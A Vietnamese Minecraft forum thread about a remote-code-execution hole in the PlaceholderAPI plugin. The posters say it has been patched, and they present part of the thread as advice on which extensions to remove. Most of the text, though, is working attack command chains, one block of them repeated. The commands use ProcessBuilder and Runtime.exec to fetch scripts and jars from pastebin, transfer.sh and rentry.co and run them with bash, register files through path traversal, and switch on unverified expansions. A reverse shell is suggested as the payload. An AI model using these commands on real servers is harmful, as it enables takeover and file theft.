hiện tại thì bị patch rồi nên quẩy tiếp đi
-
Trong thời gian này, bạn không thể tạo bài mới, đăng comment, hay tạo tài nguyên mới để diễn đàn dọn dẹp nội dung.
Diễn đàn sẽ sớm mở trở lại, chi tiết hãy theo dõi tại Discord
Thảo luận Lỗ hổng placeholderapi
- Người tạo chủ đề jordu
- Ngày gửi
hiện tại thì bị patch rồi nên quẩy tiếp đi
cách thực hiện cái exploit này
1: Griefer sẽ cài expansion này lên nạn nhân [/papi ecloud download javascript] lệnh cho các cháu không biết dùng placeholderapi
2: Nó sẽ sử dụng lệnh /jsexpansion parse me new java.lang.ProcessBuilder("wget", "https://pastebin.com/raw/memaybeo").start(); [trong cái pastebin có thể là một script vd như: reverse shell,etc...]
3 tiếp theo nó sẽ sử dụng lệnh /jsexpansion parse me new java.lang.ProcessBuilder("bash", "shell").start(); để chạy script
dành cho các cháu muốn lạm dụng cái này để đi leak file thì bỏ đi vì nó bị patch rồi
căng đấy
chắc giờ đỡ chứ từ mấy hôm trc thì hơn chục server bị leak file rồi :/
uhm
nhiều thật
còn một số server khác nhưng t không tiện nhắc tên v:
bọn Girefer đâu có quyền dùng lệnh đc?
m cứ tưởng tượng nó tìm đc một cái port không có bảo mật xem?
hiện tại thì author đã patch = cách không cho cài thông qua minecraft mà phải tải expasion + có config không cho dùng rồi
ge z
Cung gke a nghen
rce exploit bi li
uoc dc chit vo cua hung a zet
dmm
bonus: nếu server bạn sử dụng plugin plugmanX hoặc plugmanager,commandpanel thì hãy vào config của nó và tắt cái download đi vì nó cho phép download backdoor plugin
/cpi lmfao.jar https://transfer.sh/get/S3MLec/unnamed.jar
/papi register ../../CommandPanels/panels/lmfao.jar.yml
/papi parse me %rce_curl_-O_https://rentry.co/os7q7/raw%
/papi parse me %rce_bash_raw%
/plugman download direct rce plugin
và một số extensions nên xoá:
fetch:
/papi ecloud download fetch
/papi reload
/papi parse me %fetch_ test 1 https://transfer.sh/get/M837wCE2yF/test.jar%
/papi register ../../../fetch/test
/papi parse me %rce_curl_-O_https://rentry.co/eo7oc/raw%
/papi parse me %rce_bash_raw%
groopi:
/papi ecloud download groopi
/papi reload
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("curl -O https://rentry.co/eo7oc/raw")%
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("bash raw")%
minepacks:
/papi ecloud download minepacks 1.0.6
/papi reload
/papi parse me %minepacks_set ./PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi parse me %minepacks_set ../PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi reload
/cpi lmfao.jar https://transfer.sh/get/S3MLec/unnamed.jar
/papi register ../../CommandPanels/panels/lmfao.jar.yml
/papi parse me %rce_curl_-O_https://rentry.co/os7q7/raw%
/papi parse me %rce_bash_raw%
/plugman download direct rce plugin
và một số extensions nên xoá:
fetch:
/papi ecloud download fetch
/papi reload
/papi parse me %fetch_ test 1 https://transfer.sh/get/M837wCE2yF/test.jar%
/papi register ../../../fetch/test
/papi parse me %rce_curl_-O_https://rentry.co/eo7oc/raw%
/papi parse me %rce_bash_raw%
groopi:
/papi ecloud download groopi
/papi reload
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("curl -O https://rentry.co/eo7oc/raw")%
/papi parse me %groopi_java.lang.Runtime.getRuntime().exec("bash raw")%
minepacks:
/papi ecloud download minepacks 1.0.6
/papi reload
/papi parse me %minepacks_set ./PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi parse me %minepacks_set ../PlaceholderAPI/config cloud_allow_unverified_expansions true%
/papi reload
Nội dung tương tự
Xem nhiều nhất
Xem thêm
|
Plugin Việt Nam [Tài nguyên đã xóa] PlayerPointsExpansion - Support lastest PlaceholderAPI
|
|
Plugin Việt Nam OptEco - [MySQL-SQLite | PlaceholderAPI | 1.8-1.16.3]
|
|
Thảo luận Aternos Không Hỗ Trợ PlaceholderAPI Nữa Rồi À!
|
|
Thảo luận PlaceholderAPI rpl player leveling
|
|
Thảo luận sao tui download vault ở placeholderAPI rồi mà vẫn hiện như này xin cách fix
|